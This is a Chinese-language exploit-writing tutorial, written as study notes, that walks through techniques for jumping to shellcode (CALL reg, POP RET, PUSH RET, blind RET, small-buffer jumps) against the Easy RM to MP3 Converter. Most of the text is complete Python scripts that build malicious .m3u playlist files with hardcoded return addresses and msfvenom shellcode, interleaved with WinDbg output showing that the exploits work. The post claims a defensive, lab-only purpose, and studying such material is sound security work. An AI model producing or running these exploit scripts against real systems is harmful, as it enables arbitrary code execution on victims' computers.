本文为
Exploit编写教程
的学习笔记,原文请点击这里
本文仅作以防御为目的的技术总结,所有操作均在实验环境下进行,请勿用于非法行为,否则后果自负。
如有侵权烦请告知,我们会立即删除并致歉。谢谢。
0x00 跳转到哪里
在上节文章中,讲解了发现漏洞并构建有效 exploit 的基础知识。在使用的例子中, ESP 直接指向栈缓冲区的 Shellcode 开头,并且可以使用 jmp esp
语句来跳转到 Shellcode 。使用 jmp esp
是一个几乎完美的方法,但不是每次都那么容易。本节文章将讨论执行或跳转到 Shellcode 的其他方法,最后谈谈遇到较小的缓冲区如何应对。
有以下方法可以执行 Shellcode :
- JMP/CALL reg
找到指向 Shellcode 地址的寄存器,在程序加载的DLL中查找
JMP
或者CALL
这个寄存器的 OPcode ,把这个 OPcode 的地址放入EIP。这就是上一篇文章中的技术。 - POP RET
如果没有寄存器直接指向 Shellcode ,但是在栈上有地址指向 Shellcode ,那么可以通过把一个指向
pop;ret;
,或pop;pop;ret;
,或pop;pop;pop;ret;
的指针(取决于 Shellcode 在栈上的位置)放入EIP来把这个值加载到EIP。 - PUSH RET
这种方法与
JMP/CALL reg
技术有点相似。如果有寄存器指向 Shellcode ,但是又不能使用JMP/CALL reg
来跳转到寄存器,那就可以将此寄存器地址入栈,然后执行ret
。所以要找一个PUSH reg;ret;
的Opcode。 - JMP [reg+offset]
如果寄存器指向包含 Shellcode 的缓冲区,但不指向 Shellcode 的开头,那么可以在加载的DLL中找到
jmp [reg+offset]
指令的Opcode。 - BLIND RETURN
RET
指令的作用等同于EIP = POP [ESP]
。即把栈顶指针ESP
指向地址的内容放入EIP
。利用这一特点可以在可用空间有限的情况下构建有效的漏洞利用程序。 - SEH
每个应用程序都有一个由操作系统提供的结构化异常处理(SEH)程序。如果应用程序本身没有异常处理,那就可以覆盖 SEH 的地址,跳转到自己的 Shellcode 。使用 SEH 可以使漏洞利用在 windows 平台上更加可靠,因为覆盖 EIP 将触发 SEH。
可能有多种方法跳转到 Shellcode ,也可能只有一种方法,也可能需要多种技术的组合。一个漏洞也很可能只会引发崩溃,不能利用。
0x01 CALL reg
如果寄存器直接指向 Shellcode 的地址,则可以执行 CALL reg
以直接跳转到 Shellcode 。换句话说,如果ESP直接指向 Shellcode 的第一个字节,那么你可以用 call esp
的地址覆盖 EIP,Shellcode就会被执行。 这适用于所有寄存器,因为 kernel32.dll 包含许多 CALL reg
地址。
假设 ESP 指向 Shellcode:首先,查找包含 call esp
的 Opcode地址,上节文章提到使用 windbg 查看汇编语言的 OPcode 方法,这里不再重复。
接下来写漏洞利用脚本,把EIP覆盖成 0x7c8369f0
。从本教程系列第一部分中的 Easy RM to MP3
示例,我们知道,通过在覆盖 EIP 和添加滑板指令,我们可以将 ESP 指向 shellcode 的开头。上节文章也提到了使用 msfvenom
生成有效 Payload 方法。最终的漏洞利用脚本将如下所示:
import pwn
filename = 'call_reg.m3u'
junk = b'\x41' * 26079
eip = pwn.p32(0x7c8369f0)
shellcode = b"\x90" * 25
shellcode += b"\xdb\xc6\xd9\x74\x24\xf4\x5e\x29\xc9\xba\x5d"
shellcode += b"\x65\x28\xff\xb1\x30\x31\x56\x18\x03\x56\x18"
shellcode += b"\x83\xee\xa1\x87\xdd\x03\xb1\xca\x1e\xfc\x41"
shellcode += b"\xab\x97\x19\x70\xeb\xcc\x6a\x22\xdb\x87\x3f"
shellcode += b"\xce\x90\xca\xab\x45\xd4\xc2\xdc\xee\x53\x35"
shellcode += b"\xd2\xef\xc8\x05\x75\x73\x13\x5a\x55\x4a\xdc"
shellcode += b"\xaf\x94\x8b\x01\x5d\xc4\x44\x4d\xf0\xf9\xe1"
shellcode += b"\x1b\xc9\x72\xb9\x8a\x49\x66\x09\xac\x78\x39"
shellcode += b"\x02\xf7\x5a\xbb\xc7\x83\xd2\xa3\x04\xa9\xad"
shellcode += b"\x58\xfe\x45\x2c\x89\xcf\xa6\x83\xf4\xe0\x54"
shellcode += b"\xdd\x31\xc6\x86\xa8\x4b\x35\x3a\xab\x8f\x44"
shellcode += b"\xe0\x3e\x14\xee\x63\x98\xf0\x0f\xa7\x7f\x72"
shellcode += b"\x03\x0c\x0b\xdc\x07\x93\xd8\x56\x33\x18\xdf"
shellcode += b"\xb8\xb2\x5a\xc4\x1c\x9f\x39\x65\x04\x45\xef"
shellcode += b"\x9a\x56\x26\x50\x3f\x1c\xca\x85\x32\x7f\x80"
shellcode += b"\x58\xc0\x05\xe6\x5b\xda\x05\x56\x34\xeb\x8e"
shellcode += b"\x39\x43\xf4\x44\x7e\xb5\x05\x55\x6a\x22\xbc"
shellcode += b"\x0c\xd7\x2e\x3f\xfb\x1b\x57\xbc\x0e\xe3\xac"
shellcode += b"\xdc\x7a\xe6\xe9\x5a\x96\x9a\x62\x0f\x98\x09"
shellcode += b"\x82\x1a\xfb\xcc\x10\xc6\xfc"
file = open(filename, "wb")
file.write(junk + eip + shellcode)
file.close()
PWNED!
0x02 POP RET
之前的例子都是依赖于有寄存器指向 Shellcode,如果没有寄存器指向 Shellcode 呢?
在这种情况下,指向 Shellcode 的地址可能在栈上。通过转储 esp 并查看第一个地址,如果有一个地址指向 Shellcode 或者可控缓冲区,那么就可以使用 POP RET
,从栈上取出地址(每次 pop
取出一个地址)并跳转到 Shellcode 的地址。 POP RET
技术只有在 ESP+offset
能包含 shellcode 的地址时才可用。
POP RET
还有第二种用途:如果能控制 EIP
,没有寄存器指向 shellcode ,但是 shellcode 在 ESP+8
的位置。在这种情况下,可以把 pop;pop;ret;
的地址放入 EIP
中,这样就会跳转到 ESP+8
。如果把一个指向 jmp esp
的指针放在 ESP+8
的位置,那么就会执行 jmp esp
指令跳转到此指令后面的 shellcode。
先构建一个测试用例。在覆盖 EIP 之前需要 26079 个字节,到达栈顶需要4个字节,第一个中断,7个 NOP
,第二个中断,300个 NOP
。假设 Shellcode 从第二个中断处开始。 目标是绕过第一个中断,直接跳到第二个中断,即 ESP+8
处的 Shellcode 。
生成测试文件的脚本如下:
filename = 'pop_ret.m3u'
junk = b'\x41' * 26079
eip = b"BBBB"
preshellcode = b"xxxx"
shellcode = b'\xcc' # First break
shellcode += b'\x90' * 7 # 1+7=8, it's 8 bytes
shellcode += b'\xcc' # Second break
shellcode += b'\x90' * 300 # Real Shellcode
file = open(filename, "wb")
file.write(junk + eip + preshellcode + shellcode)
file.close()
把生成的测试文件在软件中打开,触发崩溃后调试,查看栈布局:
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=0000671c
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
<Unloaded_POOL.DRV>+0x42424241:
42424242 ?? ???
0:000> d esp
000ffd38 cc 90 90 90 90 90 90 90-cc 90 90 90 90 90 90 90 ................
000ffd48 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd58 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd68 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd78 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd88 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd98 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffda8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d esp+8
000ffd40 cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd50 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd60 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd70 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd80 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd90 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffda0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffdb0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
目标是修改 ESP+8
的值,使其能够跳转到 Shellcode ,并将其放入 EIP
中。 我们将使用 pop ret
+ jmp esp
来完成此操作。
POP
指令将从栈顶获取 4 个字节。 因此, ESP
将指向 000ffd3c
。 第二次运行 POP
指令后, ESP
将指向 000ffd40
。当执行 RET
指令时, ESP
的值被放入 EIP
中,同时 ESP
将指向 000ffd44
。 因此,如果 000ffd40
处的值包含 jmp esp
指令的地址,那么 EIP
就会执行 jmp esp
。 000ffd44
处的栈空间必须包含 Shellcode 。
首先需要找到 pop;pop;ret;
指令序列,并用指令序列的地址覆盖 EIP
,并且将 ESP+8
设置为 jmp esp
的地址,然后是 shellcode 本身。
这里使用 windbg 查找指令序列的 Opcode:
0:010> a
7c92120e pop eax
pop eax
7c92120f pop ebp
pop ebp
7c921210 ret
ret
7c921211
0:010> u 7c92120e
ntdll!DbgBreakPoint:
7c92120e 58 pop eax
7c92120f 5d pop ebp
7c921210 c3 ret
7c921211 ffcc dec esp
7c921213 c3 ret
可见指令序列的 Opcode 是:58 5d c3
。也可以使用其它寄存器:
pop寄存器 | pop eax | pop ebx | pop ecx | pop edx | pop esi | pop ebp |
---|---|---|---|---|---|---|
OpCode | 58 | 5b | 59 | 5a | 5e | 5d |
在应用程序的 DLL 中查找这个序列,下列前三个 DLL 地址中含有空字节,会使利用难度加大,应避免使用:
ModLoad: 10000000 10071000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
ModLoad: 00b90000 00c2f000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 00b20000 00b27000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 01940000 019b1000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 01ac0000 01f8d000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
ModLoad: 021e0000 021f0000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter02.dll
在 MSRMCcodec00.dll
中搜索:
0:010> s 01940000 l b1000 58 5d c3
01966a10 58 5d c3 33 c0 5d c3 55-8b ec 51 51 dd 45 08 dc X].3.].U..QQ.E..
01968da3 58 5d c3 8d 4d 08 83 65-08 00 51 6a 00 ff 35 6c X]..M..e..Qj..5l
01969d69 58 5d c3 6a 02 eb f9 6a-04 eb f5 b8 00 02 00 00 X].j...j........
0:010> u 01968da3
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll -
MSRMCcodec00!Codec_RegTrace+0xae33:
01968da3 58 pop eax
01968da4 5d pop ebp
01968da5 c3 ret
01968da6 8d4d08 lea ecx,[ebp+8]
现在可以跳转到 ESP+8
了,还需要在此位置放置 jmp esp
的地址。用上述方法寻找这个地址,形成脚本如下:
import pwn
filename = 'pop_ret.m3u'
junk = b'\x41' * 26079
eip = pwn.p32(0x01968da3)
jmpesp = pwn.p32(0x01b7f23a)
preshellcode = b"xxxx"
shellcode = b'\xcc'
shellcode += b'\x90' * 7
shellcode += jmpesp
shellcode += b'\xcc'
shellcode += b'\x90' * 500 # Real Shellcode
file = open(filename, "wb")
file.write(junk + eip + preshellcode + shellcode)
file.close()
崩溃后调试,结果和预期一致,已绕过第一次中断。
eax=909090cc ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=000067e8
eip=000ffd44 esp=000ffd44 ebp=90909090 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
<Unloaded_POOL.DRV>+0xffd43:
000ffd44 cc int 3
0:000> d esp
000ffd44 cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd54 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd64 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd74 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd84 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd94 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffda4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffdb4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
把 Real Shellcode
替换成 msfevnom
生成的 Payload:
import pwn
filename = 'pop_ret.m3u'
junk = b'\x41' * 26079
eip = pwn.p32(0x01968da3)
jmpesp = pwn.p32(0x01b7f23a)
preshellcode = b"xxxx"
shellcode = b'\xcc'
shellcode += b'\x90' * 7
shellcode += jmpesp
shellcode += b'\x90' * 50
shellcode += b"\xbb\x79\x51\x81\xe3\xdb\xc0\xd9\x74\x24\xf4"
shellcode += b"\x5a\x29\xc9\xb1\x30\x31\x5a\x13\x83\xc2\x04"
shellcode += b"\x03\x5a\x76\xb3\x74\x1f\x60\xb1\x77\xe0\x70"
shellcode += b"\xd6\xfe\x05\x41\xd6\x65\x4d\xf1\xe6\xee\x03"
shellcode += b"\xfd\x8d\xa3\xb7\x76\xe3\x6b\xb7\x3f\x4e\x4a"
shellcode += b"\xf6\xc0\xe3\xae\x99\x42\xfe\xe2\x79\x7b\x31"
shellcode += b"\xf7\x78\xbc\x2c\xfa\x29\x15\x3a\xa9\xdd\x12"
shellcode += b"\x76\x72\x55\x68\x96\xf2\x8a\x38\x99\xd3\x1c"
shellcode += b"\x33\xc0\xf3\x9f\x90\x78\xba\x87\xf5\x45\x74"
shellcode += b"\x33\xcd\x32\x87\x95\x1c\xba\x24\xd8\x91\x49"
shellcode += b"\x34\x1c\x15\xb2\x43\x54\x66\x4f\x54\xa3\x15"
shellcode += b"\x8b\xd1\x30\xbd\x58\x41\x9d\x3c\x8c\x14\x56"
shellcode += b"\x32\x79\x52\x30\x56\x7c\xb7\x4a\x62\xf5\x36"
shellcode += b"\x9d\xe3\x4d\x1d\x39\xa8\x16\x3c\x18\x14\xf8"
shellcode += b"\x41\x7a\xf7\xa5\xe7\xf0\x15\xb1\x95\x5a\x73"
shellcode += b"\x44\x2b\xe1\x31\x46\x33\xea\x65\x2f\x02\x61"
shellcode += b"\xea\x28\x9b\xa0\x4f\xc8\x6a\x79\x45\x5d\xd5"
shellcode += b"\xe8\x24\x03\xe6\xc6\x6a\x3a\x65\xe3\x12\xb9"
shellcode += b"\x75\x86\x17\x85\x31\x7a\x65\x96\xd7\x7c\xda"
shellcode += b"\x97\xfd\x1e\xbd\x0b\x9d\xe0"
file = open(filename, "wb")
file.write(junk + eip + preshellcode + shellcode)
file.close()
PWNED!
0x03 PUSH RET
PUSH RET
有点类似于 CALL REG
。 如果有寄存器直接指向 shellcode ,但是由于某种原因无法使用 jmp reg
跳转到 shellcode ,那么就可以将该寄存器的地址放在栈顶,然后执行 ret
。为了实现这一点,需要在dll中查找 push reg;ret;
序列的地址,并覆盖到EIP。
假设 shellcode 位于 ESP ,就需要找到 push esp
和 ret
的 Opcode,然后查找地址。
Executable search path is:
ModLoad: 01940000 019b1000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 019c0000 01e8d000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
(700.6d8): Break instruction exception - code 80000003 (first chance)
eax=7ffd5000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=028bffcc ebp=028bfff4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc int 3
0:010> a
7c92120e push esp
push esp
7c92120f ret
ret
7c921210
0:010> u 7c92120e
ntdll!DbgBreakPoint:
7c92120e 54 push esp
7c92120f c3 ret
0:010> s 01940000 l b1000 54 c3
019557f6 54 c3 90 90 90 90 90 90-90 90 8b 44 24 08 85 c0 T..........D$...
019e1d88 54 c3 fe ff 85 c0 74 5d-53 8b 5c 24 30 57 8d 4c T.....t]S.\$0W.L
0:010> u 019557f6
MSRMCcodec00+0x157f6:
019557f6 54 push esp
019557f7 c3 ret
019557f8 90 nop
根据找到的地址修改利用脚本如下:
import pwn
filename = 'push_ret.m3u'
junk = b'\x41' * 26079
eip = pwn.p32(0x019557f6)
preshellcode = b"xxxx"
shellcode = b'\x90' * 25
shellcode += b"\xbb\x79\x51\x81\xe3\xdb\xc0\xd9\x74\x24\xf4"
shellcode += b"\x5a\x29\xc9\xb1\x30\x31\x5a\x13\x83\xc2\x04"
shellcode += b"\x03\x5a\x76\xb3\x74\x1f\x60\xb1\x77\xe0\x70"
shellcode += b"\xd6\xfe\x05\x41\xd6\x65\x4d\xf1\xe6\xee\x03"
shellcode += b"\xfd\x8d\xa3\xb7\x76\xe3\x6b\xb7\x3f\x4e\x4a"
shellcode += b"\xf6\xc0\xe3\xae\x99\x42\xfe\xe2\x79\x7b\x31"
shellcode += b"\xf7\x78\xbc\x2c\xfa\x29\x15\x3a\xa9\xdd\x12"
shellcode += b"\x76\x72\x55\x68\x96\xf2\x8a\x38\x99\xd3\x1c"
shellcode += b"\x33\xc0\xf3\x9f\x90\x78\xba\x87\xf5\x45\x74"
shellcode += b"\x33\xcd\x32\x87\x95\x1c\xba\x24\xd8\x91\x49"
shellcode += b"\x34\x1c\x15\xb2\x43\x54\x66\x4f\x54\xa3\x15"
shellcode += b"\x8b\xd1\x30\xbd\x58\x41\x9d\x3c\x8c\x14\x56"
shellcode += b"\x32\x79\x52\x30\x56\x7c\xb7\x4a\x62\xf5\x36"
shellcode += b"\x9d\xe3\x4d\x1d\x39\xa8\x16\x3c\x18\x14\xf8"
shellcode += b"\x41\x7a\xf7\xa5\xe7\xf0\x15\xb1\x95\x5a\x73"
shellcode += b"\x44\x2b\xe1\x31\x46\x33\xea\x65\x2f\x02\x61"
shellcode += b"\xea\x28\x9b\xa0\x4f\xc8\x6a\x79\x45\x5d\xd5"
shellcode += b"\xe8\x24\x03\xe6\xc6\x6a\x3a\x65\xe3\x12\xb9"
shellcode += b"\x75\x86\x17\x85\x31\x7a\x65\x96\xd7\x7c\xda"
shellcode += b"\x97\xfd\x1e\xbd\x0b\x9d\xe0"
file = open(filename, "wb")
file.write(junk + eip + preshellcode + shellcode)
file.close()
PWNED!
0x04 JMP [REG+OFFSET]
为了解决 shellcode 开头位置不能对齐寄存器的另一种技术(示例中为ESP)是尝试查找 jmp [reg+offset]
指令,并用该指令的地址覆盖EIP。 假设需要跳转 8 个字节,我们需要使用 jmp [esp+8]
指令,来跳转到 shellcode 上。
0:010> a
7c92120e jmp [esp+8]
jmp [esp+8]
7c921212
0:010> u 7c92120e
ntdll!DbgBreakPoint:
7c92120e ff642408 jmp dword ptr [esp+8]
搜索了所有 DLL 都没有找到这个 Opcode 。虽然现在没办法用实验验证,但这个思路是不错的。
0x05 BLIND RET
此技术基于以下步骤:
- 使用 ret 指令的地址覆盖 EIP
- 把 shellcode 的地址硬编码放入 ESP
- 执行 ret 时,shellcode 的地址出栈,并将放入 EIP 中
- 跳转到 shellcode 执行
此技术适用于以下情况:
- 不能将 EIP 直接指向寄存器,因为不能使用
jmp
或call
指令 - 可以至少控制 ESP 的前4个字节
设置 shellcode 的内存地址时,尽量避免在地址中包含空字节,否则无法将 shellcode 加载到 EIP 。
在构建有效负载时,我们创建一个如下所示的缓冲区:
[26079 A’s][address of ret][0x000ffd38][shellcode]
由于 ESP 的地址中包含空字节,所以可以尝试在其它寄存器上找位置。这个技术有很多要求和缺点,没有用实验验证,但它只需要一个 ret
指令。
0x06 处理缓冲区太小的方法
以上讨论的方法有个共同点:使 EIP 跳转到位于缓冲区的 shellcode。但是,如果没有足够大的缓冲区呢?
在之前的实验中,覆盖 EIP 要使用 26079
个字节,到达 ESP 要使用 26079+8
个字节。如果经过测试显示,缓冲区只有50个字节,在这50个字节之后的所有内容都不可用,怎么办? 因此,我们需要找到一种新方法,或许可以使用触发实际溢出的 26079 字节。
首先,要在内存中找到这 26079 个字节。如果能找到这些字节,然后发现有另一个寄存器指向这些字节,那么将 shellcode 放在那里会很容易。
通过对 Easy RM to MP3
进行测试,发现 26079 字节的部分内容在 ESP 转储中可见:
filename = 'small_buffer.m3u'
junk = b'\x41' * 26079
eip = b"BBBB"
preshellcode = b"x" * 54
nop = b'\x90' * 32
file = open(filename, "wb")
file.write(junk + eip + preshellcode + nop)
file.close()
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=77c2fce0 edi=00006639
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
<Unloaded_POOL.DRV>+0x42424241:
42424242 ?? ???
0:000> d esp
000ffd38 78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
000ffd48 78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
000ffd58 78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
000ffd68 78 78 90 90 90 90 90 90-90 90 90 90 90 90 90 90 xx..............
000ffd78 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd88 90 90 00 41 41 41 41 41-41 41 41 41 41 41 41 41 ...AAAAAAAAAAAAA
000ffd98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffda8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d
000ffdb8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffdc8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffdd8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffde8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffdf8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffe08 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffe18 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffe28 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
可以在 ESP 转储中看到有 50 个 x,假设这是唯一可用的 shellcode 空间。 在栈中可以从地址 000ffd8b 开始找到 A。但是其他寄存器中没有 x 或 A。
所以可以先跳转到 ESP 来执行一些代码,但是只有 50 个字节可以花在 shellcode 上。继续转储 ESP 的内容时,会发现一个装满了A的巨大的缓冲区。现在的思路是把 shellcode 放在A中,使用 x 跳转到 A。为了实现这一目标,我们需要做几件事。
- 缓冲区内 26079 个A的位置现在是 ESP 的一部分,位于 000ffd8b
- 从 x 跳到 A 的代码,此代码不能大于 50 个字节
通过使用 metasploit
的模式字符串工具生成 1000 个字符,方法在上节文章提到过。
filename = 'small_buffer.m3u'
pattern = b"Aa0Aa1Aa2Aa3Aa4...Bg7Bg8Bg9Bh0Bh1Bh2B"
junk = b'\x41' * 25079
eip = b"BBBB"
preshellcode = b"x" * 54
nop = b'\x90' * 32
file = open(filename, "wb")
file.write(pattern + junk + eip + preshellcode + nop)
file.close()
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=77c2fce0 edi=00006639
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
<Unloaded_POOL.DRV>+0x42424241:
42424242 ?? ???
0:000> d esp
000ffd38 78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
000ffd48 78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
000ffd58 78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
000ffd68 78 78 90 90 90 90 90 90-90 90 90 90 90 90 90 90 xx..............
000ffd78 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd88 90 90 00 39 41 63 30 41-63 31 41 63 32 41 63 33 ...9Ac0Ac1Ac2Ac3
000ffd98 41 63 34 41 63 35 41 63-36 41 63 37 41 63 38 41 Ac4Ac5Ac6Ac7Ac8A
000ffda8 63 39 41 64 30 41 64 31-41 64 32 41 64 33 41 64 c9Ad0Ad1Ad2Ad3Ad
┌──(kali㉿kali)-[~]
└─$ msf-pattern_offset -l 1000 -q 9Ac0
[*] Exact match at offset 59
因此,在构造文件时可以这样:[59 个A][shellcode][用 A 填充其余部分]
或者有更稳妥的选择:[50 个A][50 个NOP][shellcode][用 A 填充其余部分],加入滑板指令后会有更大的容错性。
filename = 'small_buffer.m3u'
buffersize = 26079
junk = b'\x41' * 50
nop1 = b'\x90' * 50
shellcode = b'\xcc'
padding = b'\x41' * (buffersize - 50 - 50 - len(shellcode))
eip = b"BBBB"
preshellcode = b"x" * 54
nop2 = b'\x90' * 32
file = open(filename, "wb")
file.write(junk + nop1 + shellcode + padding + eip + preshellcode + nop2)
file.close()
在调试器中查看内存,发现 NOP
指令从 000ffd8b
处开始,在 000ffdb4
处跟着 shellcode
(0xcc),后面又跟着 A,看起来正常。
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=77c2fce0 edi=00006639
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
<Unloaded_POOL.DRV>+0x42424241:
42424242 ?? ???
0:000> d esp
000ffd38 78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
000ffd48 78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
000ffd58 78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
000ffd68 78 78 90 90 90 90 90 90-90 90 90 90 90 90 90 90 xx..............
000ffd78 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd88 90 90 00 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd98 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffda8 90 90 90 90 90 90 90 90-90 90 90 90 cc 41 41 41 .............AAA
接下来是构建指令跳转到 ESP+7c
,这个指令可以精准跳到 shellcode
处,不过也可以少跳一些,前面还有滑板指令,所以这里选择跳到 ESP+6c
处。汇编代码如下:
add esp,3e
add esp,2e
jmp esp
查看Opcode:
0:011> a
7c92120e add esp,3e
add esp,3e
7c921211 add esp,2e
add esp,2e
7c921214 jmp esp
jmp esp
7c921216
0:011> u 7c92120e
ntdll!DbgBreakPoint:
7c92120e 83c43e add esp,3Eh
7c921211 83c42e add esp,2Eh
7c921214 ffe4 jmp esp
修改脚本如下:
filename = 'small_buffer.m3u'
buffersize = 26079
junk = b'\x41' * 50
nop1 = b'\x90' * 50
shellcode = b'\xcc'
padding = b'\x41' * (buffersize - 50 - 50 - len(shellcode))
eip = b"BBBB"
preshellcode = b"x" * 4
jumpcode = b"\x83\xc4\x3e\x83\xc4\x2e\xff\xe4"
nop2 = b'\x90' * 16
file = open(filename, "wb")
file.write(junk + nop1 + shellcode + padding + eip + preshellcode + jumpcode + nop2)
file.close()
跳转代码在 ESP 处,一切正常。
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=77c2fce0 edi=000065ff
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
<Unloaded_POOL.DRV>+0x42424241:
42424242 ?? ???
0:000> d esp
000ffd38 83 c4 3e 83 c4 3e ff e4-90 90 90 90 90 90 90 90 ..>..>..........
000ffd48 90 90 90 90 90 90 90 90-00 41 41 41 41 41 41 41 .........AAAAAAA
000ffd58 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffd68 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffd78 41 41 41 41 41 41 41 41-41 41 90 90 90 90 90 90 AAAAAAAAAA......
000ffd88 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd98 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffda8 90 90 90 90 90 90 90 90-90 90 90 90 cc 41 41 41 .............AAA
接下来把 EIP 覆盖为 jmp esp
的地址 0x01b7f23a
。
import pwn
filename = 'small_buffer.m3u'
buffersize = 26079
junk = b'\x41' * 50
nop1 = b'\x90' * 50
shellcode = b'\xcc'
padding = b'\x41' * (buffersize - 50 - 50 - len(shellcode))
eip = pwn.p32(0x01b7f23a)
preshellcode = b"x" * 4
jumpcode = b"\x83\xc4\x3e\x83\xc4\x2e\xff\xe4"
nop2 = b'\x90' * 16
file = open(filename, "wb")
file.write(junk + nop1 + shellcode + padding + eip + preshellcode + jumpcode + nop2)
file.close()
程序跳转到 ESP
,接下来将会沿着滑板指令运行到 shellcode
,一切正常。
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=77c2fce0 edi=000065ff
eip=000ffdb4 esp=000ffda4 ebp=00104678 iopl=0 nv up ei pl nz ac po nc
